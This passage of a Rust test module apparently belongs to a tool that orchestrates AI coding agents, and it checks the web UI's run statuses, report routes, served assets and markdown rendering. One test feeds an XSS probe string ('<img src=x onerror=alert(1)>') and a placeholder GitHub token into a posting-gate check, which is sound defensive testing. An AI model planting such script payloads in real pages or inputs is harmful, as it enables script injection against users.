16826 assert_eq!(detail["live"], "dead", "{detail}");
16827 }
16828
16829 #[test]
16833 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16834 let mk = |id: &str, pid: Option<u32>| {
16835 let mut s = RunState::new(
16836 PathBuf::from("/repo/magi"),
16837 "main".to_owned(),
16838 "0123456789abcdef".to_owned(),
16839 "Add a web UI".to_owned(),
16840 Config::default(),
16841 );
16842 s.id = id.to_owned();
16843 s.driver_pid = pid;
16844 s.driver_started_at = Some("1790000000".to_owned());
16845 s
16846 };
16847 let states = vec![
16848 mk("20260902-140502-aaaa", Some(77)),
16849 mk("20260902-140502-bbbb", Some(77)),
16850 mk("20260902-140502-cccc", Some(77)),
16851 mk("20260902-140502-dddd", None),
16852 ];
16853 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16854 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16855 let sup: HashMap<String, String> = [(
16856 "20260902-140502-aaaa".to_owned(),
16857 "20260902-140502-cccc".to_owned(),
16858 )]
16859 .into();
16860
16861 let status_calls = std::cell::Cell::new(0);
16862 let identity_calls = std::cell::Cell::new(0);
16863 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16864 |_| {
16865 status_calls.set(status_calls.get() + 1);
16866 Some(true)
16867 },
16868 |_| {
16869 identity_calls.set(identity_calls.get() + 1);
16870 Some("1790000000".to_owned())
16871 },
16872 ));
16873 let rows = summarize(
16874 states,
16875 &open,
16876 &claimed,
16877 &sup,
16878 |p| probe.borrow_mut().status(p),
16879 |p| probe.borrow_mut().started_at(p),
16880 );
16881
16882 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16883 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16884 assert_eq!(rows.len(), 4);
16885 assert!(!rows[0].waiting && rows[1].waiting);
16886 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16887 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16888 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16889 assert_eq!(rows[1].superseded_by, None);
16890 }
16891
16892 #[test]
16893 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16894 let mut state = RunState::new(
16895 PathBuf::from("/repo/magi"),
16896 "main".to_owned(),
16897 "0123456789abcdef".to_owned(),
16898 "Review only".to_owned(),
16899 Config::default(),
16900 );
16901 state.id = "20260922-090200-dead".to_owned();
16902 state.status = RunStatus::Reviewing;
16903 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16904 .expect("serialize list row");
16905 assert_eq!(row["status"], "reviewing");
16906 assert_eq!(row["display_status"], "stale");
16907 assert_eq!(row["live"], "dead", "{row}");
16908 assert!(!row["done"].as_bool().unwrap());
16909 }
16910
16911 #[test]
16912 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16913 use crate::run::Liveness::{Dead, Live, Unknown};
16914 let mut state = RunState::new(
16915 PathBuf::from("/repo/magi"),
16916 "main".to_owned(),
16917 "abc".to_owned(),
16918 "Review only".to_owned(),
16919 Config::default(),
16920 );
16921 for (status, parked, node, waiting, live, expected) in [
16922 (
16923 RunStatus::Judging,
16924 true,
16925 "github-text",
16926 false,
16927 Dead,
16928 "parked",
16929 ),
16930 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16931 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16932 (
16933 RunStatus::Judging,
16934 true,
16935 "github-text",
16936 true,
16937 Dead,
16938 "waiting",
16939 ),
16940 (
16941 RunStatus::Judging,
16942 false,
16943 "github-text",
16944 true,
16945 Dead,
16946 "waiting",
16947 ),
16948 (
16949 RunStatus::Judging,
16950 false,
16951 "github-text",
16952 false,
16953 Dead,
16954 "stale",
16955 ),
16956 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16957 (RunStatus::Judging, true, "park", false, Live, "judging"),
16958 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16959 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16960 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16961 (
16962 RunStatus::Blocked,
16963 true,
16964 "github-text",
16965 true,
16966 Dead,
16967 "waiting",
16968 ),
16969 ] {
16970 state.status = status;
16971 state.parked = parked;
16972 state.events.clear();
16973 state.event(
16974 "park",
16975 "an earlier park does not determine the latest state",
16976 );
16977 state.event(node, "message is not used for classification");
16978 let summary = RunSummary::of(&state, waiting, live);
16979 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16980 assert_eq!(
16981 summary.display_status, expected,
16982 "{status:?}/{node}/{live:?}"
16983 );
16984 assert_eq!(detail.display_status, summary.display_status);
16985 assert_eq!(detail.waiting, summary.waiting);
16986 }
16987 state.status = RunStatus::Judging;
16988 state.parked = false;
16989 state.events.clear();
16990 assert_eq!(run_display_status(&state, false, Dead), "stale");
16991 }
16992
16993 #[test]
16994 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
16995 use crate::run::Liveness::{Dead, Live, Unknown};
16996 let mut state = RunState::new(
16997 PathBuf::from("/repo/magi"),
16998 "main".to_owned(),
16999 "abc".to_owned(),
17000 "Badge".to_owned(),
17001 Config::default(),
17002 );
17003 for (status, waiting, live, superseded, expected) in [
17004 (RunStatus::Gating, false, Dead, false, "stale"),
17005 (RunStatus::Gating, false, Dead, true, "superseded"),
17006 (RunStatus::Gating, false, Unknown, true, "superseded"),
17007 (RunStatus::Gating, true, Dead, true, "superseded"),
17008 (RunStatus::Gating, true, Dead, false, "waiting"),
17009 (RunStatus::Gating, false, Unknown, false, "gating"),
17010 (RunStatus::Gating, false, Live, true, "gating"),
17011 (RunStatus::Gating, true, Live, true, "waiting"),
17012 (RunStatus::Merged, false, Dead, true, "merged"),
17013 (RunStatus::Blocked, false, Dead, true, "blocked"),
17014 ] {
17015 state.status = status;
17016 let display = run_display_status(&state, waiting, live);
17017 assert_eq!(
17018 run_badge_status(&state, &display, live, superseded),
17019 expected,
17020 "{status:?}/{live:?}/superseded={superseded}"
17021 );
17022 }
17023 }
17024
17025 #[test]
17026 fn summarize_and_detail_expose_badge_status() {
17027 use crate::run::Liveness::Dead;
17028 let mut state = RunState::new(
17029 PathBuf::from("/repo/magi"),
17030 "main".to_owned(),
17031 "abc".to_owned(),
17032 "Badge".to_owned(),
17033 Config::default(),
17034 );
17035 state.status = RunStatus::Gating;
17036 let none = HashSet::new();
17037 let id = state.id.clone();
17038 let mut by = HashMap::new();
17039 let rows = summarize(
17040 [state.clone()],
17041 &none,
17042 &none,
17043 &by,
17044 |_| Some(false),
17045 |_| None,
17046 );
17047 assert_eq!(rows[0].badge_status, rows[0].display_status);
17049 by.insert(id, "20260901-000000-913b".to_owned());
17050 let detail = RunDetailView::of(
17051 state.clone(),
17052 false,
17053 Dead,
17054 Some("913b".to_owned()),
17055 None,
17056 None,
17057 );
17058 assert_eq!(detail.badge_status, "superseded");
17059 let json = serde_json::to_value(&detail).unwrap();
17060 assert_eq!(json["badge_status"], "superseded");
17061 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17062 assert_eq!(detail.badge_status, "stale");
17063 }
17064
17065 #[tokio::test]
17066 async fn run_display_status_routes_share_the_open_question_store() {
17067 let f = Fixture::start().await;
17068 let id = "20260922-090200-abcd";
17069 write_run(&f.runs(), id, RunStatus::Judging);
17070 let mut state = read_run(&f.runs(), id).unwrap();
17071 state.parked = true;
17072 state.driver_exited = true;
17073 state.event("github-text", "waiting for the owner");
17074 state.save_under(f.home.path()).unwrap();
17075 let mut task = Task::new(
17076 "resumed task".to_owned(),
17077 "do it".to_owned(),
17078 PathBuf::from("/repo"),
17079 Source::Human,
17080 );
17081 task.runs = vec![id.to_owned(), id.to_owned()];
17082 f.queue().put(&mut task).unwrap();
17083 let store = f.questions();
17084 let mut q = Question::new(
17085 id.to_owned(),
17086 "github-text".to_owned(),
17087 "owner".to_owned(),
17088 "Approve the text?".to_owned(),
17089 String::new(),
17090 Vec::new(),
17091 );
17092 store.put(&mut q).unwrap();
17093 for expected in ["waiting", "parked"] {
17094 let list = f.get("/api/runs").await.json();
17095 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17096 assert_eq!(list[0]["display_status"], expected);
17097 assert_eq!(detail["display_status"], expected);
17098 assert_eq!(detail["waiting"], list[0]["waiting"]);
17099 assert_eq!(list[0]["badge_status"], expected);
17100 assert_eq!(detail["badge_status"], expected);
17101 assert!(list[0]["superseded_by"].is_null());
17102 assert!(detail["superseded_by"].is_null());
17103 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17104 let history = task_detail["history"].as_array().unwrap();
17105 assert_eq!(history.len(), 2);
17106 assert!(history[0]["badge"].is_null());
17107 assert_eq!(history[1]["badge"], expected);
17108 q.status = ask::QuestionStatus::Answered;
17109 store.put(&mut q).unwrap();
17110 }
17111 }
17112
17113 #[tokio::test]
17114 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17115 let f = Fixture::start().await;
17116 let id = "20260922-090200-abcd";
17117 write_run(&f.runs(), id, RunStatus::Judging);
17118 let mut state = read_run(&f.runs(), id).unwrap();
17119 state.parked = true;
17120 state.driver_exited = true;
17121 state.event("park", "stopped at a node boundary");
17122 state.save_under(f.home.path()).unwrap();
17123
17124 for expected in ["parked", "stale"] {
17125 let list = f.get("/api/runs").await.json();
17126 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17127 assert_eq!(list[0]["live"], "dead");
17128 assert_eq!(list[0]["display_status"], expected);
17129 assert_eq!(detail["display_status"], expected);
17130 state.parked = false;
17133 state.save_under(f.home.path()).unwrap();
17134 }
17135 }
17136
17137 #[tokio::test]
17138 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17139 let f = Fixture::start().await;
17140 for id in [
17141 "20260902-140501-aaaa",
17142 "20260902-140502-bbbb",
17143 "20260902-140503-cccc",
17144 ] {
17145 write_run(&f.runs(), id, RunStatus::Merged);
17146 }
17147
17148 let all = f.get("/api/runs").await.json();
17149 let capped = f.get("/api/runs?limit=2").await.json();
17150
17151 assert_eq!(all[0]["id"], "20260902-140503-cccc");
17152 assert_eq!(all.as_array().map(Vec::len), Some(3));
17153 assert_eq!(capped.as_array().map(Vec::len), Some(2));
17154 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17155 }
17156
17157 #[tokio::test]
17158 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17159 let f = Fixture::start().await;
17160 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17161
17162 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17163
17164 assert_eq!(res.status, 200);
17165 assert!(
17166 res.headers
17167 .contains("content-type: text/plain; charset=utf-8"),
17168 "a browser must render it, not download it: {}",
17169 res.headers
17170 );
17171 assert!(
17175 res.body.contains("20260902-140501-a1b2"),
17176 "the report is about the run that was asked for: {}",
17177 res.body
17178 );
17179 }
17180
17181 #[tokio::test]
17182 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17183 crate::run::pin_test_home();
17185 let f = Fixture::start().await;
17186 let id = "20260902-140501-a1b2";
17187 write_run(&f.runs(), id, RunStatus::Stalled);
17188 let path = f.runs().join(id).join("run.json");
17191 let mut v: serde_json::Value =
17192 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17193 v["tally"] = serde_json::json!({
17194 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17195 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17196 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17197 "met_quorum": false, "rankings": 1
17198 });
17199 v["reviews"] = serde_json::json!([{
17200 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17201 "e2e_deferred": true,
17202 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17203 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17204 ]}]
17205 }]);
17206 std::fs::write(&path, v.to_string()).unwrap();
17207 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17208 std::fs::write(
17209 f.runs().join("20260902-140502-dead").join("run.json"),
17210 "{not json",
17211 )
17212 .unwrap();
17213
17214 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17215
17216 assert_eq!(res.status, 200, "{}", res.body);
17217 assert!(res.headers.contains("content-type: application/json"));
17218 let j = res.json();
17219 assert_eq!(j["schema"], 1);
17220 assert_eq!(j["header"]["id"], id);
17221 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17222 let kinds: Vec<&str> = j["sections"]
17223 .as_array()
17224 .unwrap()
17225 .iter()
17226 .map(|s| s["kind"].as_str().unwrap())
17227 .collect();
17228 assert_eq!(kinds, ["candidates", "tally", "review"]);
17229 let tally = &j["sections"][1]["tally"];
17230 assert_eq!(
17231 (tally["decided"].clone(), tally["provisional"].clone()),
17232 (false.into(), true.into())
17233 );
17234 let round = &j["sections"][2]["rounds"][0];
17235 assert_eq!(round["e2e"]["state"], "deferred");
17236 assert_eq!(round["findings"][0]["severity"], "major");
17237 assert_eq!(round["findings"][0]["blocking"], true);
17238 assert_eq!(round["findings"][0]["state"], "open");
17239
17240 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17242
17243 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17245 assert_ne!(bad.status, 200, "{}", bad.body);
17246 assert_eq!(
17247 bad.status,
17248 f.get("/api/runs/20260902-140502-dead/report").await.status
17249 );
17250 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17251 assert_eq!(
17252 f.get("/api/runs/20260902-999999-ffff/report.json")
17253 .await
17254 .status,
17255 404
17256 );
17257 }
17258
17259 #[tokio::test]
17260 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17261 crate::run::pin_test_home();
17262 let f = Fixture::start().await;
17263 let id = "20260902-140503-delib";
17264 write_run(&f.runs(), id, RunStatus::Merged);
17265 let path = f.runs().join(id).join("run.json");
17266 let mut v: serde_json::Value =
17267 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17268 v["judgements"] = serde_json::json!([
17269 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17270 ]);
17271 v["tally"] = serde_json::json!({
17272 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17273 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17274 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17275 "met_quorum": true, "rankings": 1
17276 });
17277 v["deliberation"] = serde_json::json!([
17278 {
17279 "round": 1,
17280 "turns": [
17281 {
17282 "judge": 1,
17283 "agent": "judge-1",
17284 "body": "I prefer candidate **A** because it has cleaner tests.",
17285 "tentative": "A"
17286 }
17287 ]
17288 },
17289 {
17290 "round": 2,
17291 "turns": [
17292 {
17293 "judge": 1,
17294 "agent": "judge-1",
17295 "body": "Still thinking, no choice yet.",
17296 "tentative": null
17297 }
17298 ]
17299 }
17300 ]);
17301 std::fs::write(&path, v.to_string()).unwrap();
17302
17303 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17304 assert_eq!(res.status, 200, "{}", res.body);
17305 let j = res.json();
17306 let judging = j["sections"]
17307 .as_array()
17308 .unwrap()
17309 .iter()
17310 .find(|s| s["kind"] == "judging")
17311 .expect("judging section exists");
17312
17313 let delib_lines = judging["deliberation"].as_array().unwrap();
17315 assert_eq!(delib_lines.len(), 2);
17316 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17317 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17318
17319 let rounds = judging["rounds"].as_array().unwrap();
17321 assert_eq!(rounds.len(), 2);
17322 let r1_t0 = &rounds[0]["turns"][0];
17323 assert_eq!(r1_t0["judge"], 1);
17324 assert_eq!(r1_t0["agent"], "judge-1");
17325 assert_eq!(r1_t0["tentative"], "A");
17326 assert_eq!(
17327 r1_t0["body"],
17328 "I prefer candidate **A** because it has cleaner tests."
17329 );
17330 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17331
17332 let r2_t0 = &rounds[1]["turns"][0];
17333 assert_eq!(r2_t0["judge"], 1);
17334 assert_eq!(r2_t0["agent"], "judge-1");
17335 assert!(r2_t0["tentative"].is_null());
17336 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17337 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17338
17339 let id_empty = "20260902-140504-nodelib";
17341 write_run(&f.runs(), id_empty, RunStatus::Merged);
17342 let path_empty = f.runs().join(id_empty).join("run.json");
17343 let mut v_empty: serde_json::Value =
17344 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17345 v_empty["judgements"] = serde_json::json!([
17346 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17347 ]);
17348 v_empty["deliberation"] = serde_json::json!([]);
17349 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17350
17351 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17352 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17353 let j_empty = res_empty.json();
17354 let judging_empty = j_empty["sections"]
17355 .as_array()
17356 .unwrap()
17357 .iter()
17358 .find(|s| s["kind"] == "judging")
17359 .expect("judging section exists");
17360 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17361 }
17362
17363 #[tokio::test]
17364 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17365 let f = Fixture::start().await;
17366
17367 let html = f.get("/").await;
17368 let css = f.get("/app.css").await;
17369 let js = f.get("/app.js").await;
17370
17371 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17372 assert!(
17373 html.headers
17374 .contains("content-type: text/html; charset=utf-8")
17375 );
17376 assert!(css.headers.contains("content-type: text/css"));
17377 assert!(js.headers.contains("content-type: text/javascript"));
17378 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17379 }
17380
17381 #[test]
17382 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17383 let body = |name: &str| {
17384 let at = APP_JS
17385 .find(name)
17386 .unwrap_or_else(|| panic!("{name} missing"));
17387 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17388 };
17389 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17390 let note = body("function landRoundNote");
17391 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17392 assert!(note.contains("Land round ${round}"));
17393 let land = body("function renderLand");
17394 let note_at = land
17395 .find("landRoundNote(pr)")
17396 .expect("renderLand uses the note");
17397 assert!(
17398 note_at
17399 < land
17400 .find("roundRail(pr)")
17401 .expect("renderLand uses the rail")
17402 );
17403 }
17404
17405 #[test]
17406 fn the_runs_page_redesign_keeps_its_guards() {
17407 let body = |name: &str| {
17408 let at = APP_JS
17409 .find(name)
17410 .unwrap_or_else(|| panic!("{name} missing"));
17411 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17412 };
17413 let land = body("function renderLand");
17415 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17416 assert!(
17417 !land.contains("box.append("),
17418 "renderLand must use append()"
17419 );
17420 assert!(land.contains("append(box, ["));
17421 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17423 assert!(
17424 body("function applyRoute")
17425 .contains("route.name !== state.route.name || route.id !== state.route.id")
17426 );
17427 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17429 assert!(!INDEX_HTML.contains("advise-converge"));
17430 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17431 assert!(APP_JS.contains("provisional"));
17432 for id in [
17433 "run-tab-overview",
17434 "run-tab-timeline",
17435 "run-tab-report",
17436 "run-report",
17437 "runs-scope",
17438 ] {
17439 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17440 }
17441 assert!(!INDEX_HTML.contains("runs-tree"));
17442 assert!(!INDEX_HTML.contains("run-raw-panel"));
17443 assert!(APP_JS.contains("resume"));
17445 assert!(APP_JS.contains("unreadable"));
17447 }
17448
17449 #[test]
17450 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17451 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17452 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17453 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17454 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17455 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17456 assert!(APP_JS.contains("unreadable` : null"));
17458 }
17459
17460 #[test]
17461 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17462 let mut state = RunState::new(
17463 "/repo".into(),
17464 "main".into(),
17465 "abc".into(),
17466 "task".into(),
17467 crate::config::Config::default(),
17468 );
17469 state.status = RunStatus::Blocked;
17470 state.gate_ran = true;
17471 state.gate.push(crate::run::CommandOutcome {
17472 command: "cargo make check".into(),
17473 code: Some(1),
17474 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17475 duration_ms: 0,
17476 resource_blocked: false,
17477 });
17478 let view = RunDetailView::of(
17479 state,
17480 false,
17481 crate::run::Liveness::Unknown,
17482 None,
17483 None,
17484 None,
17485 );
17486 let value = serde_json::to_value(view).unwrap();
17487 assert_eq!(
17488 value["stop_reason"],
17489 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17490 );
17491 }
17492
17493 #[test]
17494 fn the_run_detail_payload_says_whether_the_run_is_done() {
17495 for (status, done) in [
17497 (RunStatus::Superseded, true),
17498 (RunStatus::Blocked, true),
17499 (RunStatus::Landing, false),
17500 ] {
17501 let mut state = RunState::new(
17502 std::path::PathBuf::from("/repo"),
17503 "main".to_owned(),
17504 "abc".to_owned(),
17505 "x".to_owned(),
17506 crate::config::Config::default(),
17507 );
17508 state.status = status;
17509 let v = serde_json::to_value(RunDetailView::of(
17510 state,
17511 false,
17512 crate::run::Liveness::Unknown,
17513 None,
17514 None,
17515 None,
17516 ))
17517 .unwrap();
17518 assert_eq!(v["done"], done, "{status:?}");
17519 }
17520 }
17521
17522 fn has_strong(nodes: &[md::Node]) -> bool {
17524 serde_json::to_string(nodes).unwrap().contains("strong")
17525 }
17526
17527 #[test]
17528 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17529 let mut state = RunState::new(
17530 std::path::PathBuf::from("/repo"),
17531 "main".to_owned(),
17532 "abc".to_owned(),
17533 "x".to_owned(),
17534 crate::config::Config::default(),
17535 );
17536 let proposal = |approach: &str| {
17537 serde_json::json!({
17538 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17539 })
17540 };
17541 state.advice = Some(
17542 serde_json::from_value(serde_json::json!({
17543 "records": [
17544 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17545 "proposal": proposal("do **this**")},
17546 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17547 ],
17548 "synthesis": "- one\n- **two**\n\n`code`",
17549 }))
17550 .unwrap(),
17551 );
17552 state.candidates = serde_json::from_value(serde_json::json!([
17553 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17554 "summary": "did **it**"},
17555 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17556 ]))
17557 .unwrap();
17558 state.reviews = serde_json::from_value(serde_json::json!([{
17561 "round": 1, "head": "h",
17562 "reviews": [{
17563 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17564 "findings": [
17565 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17566 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17567 ],
17568 }],
17569 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17570 "fix": {"agent": "a", "notes": "fixed **it**",
17571 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17572 }, {"round": 2, "head": "h2", "reviews": []}]))
17573 .unwrap();
17574
17575 let v = serde_json::to_value(RunDetailView::of(
17576 state,
17577 false,
17578 crate::run::Liveness::Unknown,
17579 None,
17580 None,
17581 None,
17582 ))
17583 .unwrap();
17584
17585 let strong = |p: &str| {
17586 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17587 assert!(n.to_string().contains("strong"), "{p}: {n}");
17588 };
17589 strong("/advice_md/synthesis");
17590 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17591 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17592 strong("/advice_md/approaches/0");
17593 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17594 strong("/candidate_summaries_md/0");
17595 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17596 strong("/reviews_md/0/reviewers/0/summary");
17597 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17598 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17599 assert!(f[1].to_string().contains("strong"));
17600 strong("/reviews_md/0/reconsideration/0");
17601 strong("/reviews_md/0/fix/notes");
17602 strong("/reviews_md/0/fix/rejected/0");
17603 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17604 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17605 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17607 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17608 }
17609
17610 #[test]
17611 fn a_run_without_advice_has_no_advice_md() {
17612 let state = RunState::new(
17613 std::path::PathBuf::from("/repo"),
17614 "main".to_owned(),
17615 "abc".to_owned(),
17616 "x".to_owned(),
17617 crate::config::Config::default(),
17618 );
17619 let p = run_prose_md(&state);
17620 assert!(p.advice_md.is_none());
17621 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17622 }
17623
17624 #[test]
17625 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17626 let store = ask::Questions::at(PathBuf::from("unused"));
17627 let gt = crate::github_text::Withheld {
17628 title: false,
17629 body: true,
17630 categories: vec!["sensitive-data".into()],
17631 };
17632 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17633 let (detail, comparison) =
17634 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17635 let mut q = Question::new(
17636 "r".into(),
17637 "github-text".into(),
17638 "posting-gate".into(),
17639 "s".into(),
17640 detail,
17641 Vec::new(),
17642 );
17643 assert!(
17644 QuestionView::of(q.clone(), &store, None)
17645 .posting_view
17646 .is_none()
17647 );
17648 q.posting_comparison = Some(comparison);
17649 let view = QuestionView::of(q.clone(), &store, None);
17650 let field = &view.posting_view.unwrap().fields[0];
17651 assert_eq!(
17652 field
17653 .original
17654 .iter()
17655 .map(|f| f.text.as_str())
17656 .collect::<String>(),
17657 body
17658 );
17659 assert!(field.original[0].text.starts_with("<img"));
17660 let original_question: Question =
17661 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17662 assert_eq!(original_question, q);
17663 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17664 .original
17665 .start = 1;
17666 assert!(
17667 QuestionView::of(q.clone(), &store, None)
17668 .posting_view
17669 .is_none()
17670 );
17671 q.posting_comparison = original_question.posting_comparison;
17672 q.detail.push_str("extra context");
17673 assert!(
17674 QuestionView::of(q.clone(), &store, None)
17675 .posting_view
17676 .is_some()
17677 );
17678 q.detail.insert(0, 'x');
17679 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
17680 }
17681
17682 #[test]
17683 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17684 let store = ask::Questions::at(PathBuf::from("unused"));
17685 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17686 let gt = crate::github_text::Withheld::from_check(
17687 &crate::github_text::check("fix: x", body),
17688 "fix: x",
17689 body,
17690 )
17691 .unwrap();
17692 let (detail, comparison) =
17693 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17694 let mut q = Question::new(
17695 "r".into(),
17696 "github-text".into(),
17697 "posting-gate".into(),
17698 "s".into(),
17699 detail,
17700 Vec::new(),
17701 );
17702 q.posting_comparison = Some(comparison);
17703 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
17704 let field = &value["posting_view"]["fields"][0];
17705 let group = &field["replacement_group"];
17706 let triggers = group["triggers"].as_array().unwrap();
17707 assert_eq!(triggers.len(), 2);
17708 assert_ne!(triggers[0], triggers[1]);
17709 for id in triggers {
17710 assert!(
17711 field["original"]
17712 .as_array()
17713 .unwrap()
17714 .iter()
17715 .any(|f| &f["pair"] == id)
17716 );
17717 assert!(
17718 !field["changed"]
17719 .as_array()
17720 .unwrap()
17721 .iter()
17722 .any(|f| &f["pair"] == id)
17723 );
17724 }
17725 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17726 group["id"].as_u64().unwrap() as usize;
17727 assert!(
17728 QuestionView::of(q, &store, None).posting_view.is_none(),
17729 "group and trigger IDs cannot collide"
17730 );
17731 }
17732
17733 #[test]
17734 fn a_question_view_carries_markdown_for_each_thread_turn() {
17735 let home = TempDir::new().unwrap();
17736 let store = ask::Questions::at(home.path().join("questions"));
17737 let mut q = Question::new(
17738 "run".to_owned(),
17739 "implement".to_owned(),
17740 "impl-A".to_owned(),
17741 "which?".to_owned(),
17742 String::new(),
17743 Vec::new(),
17744 );
17745 q.say("plain words").unwrap();
17746 q.reply("use **this**", Vec::new()).unwrap();
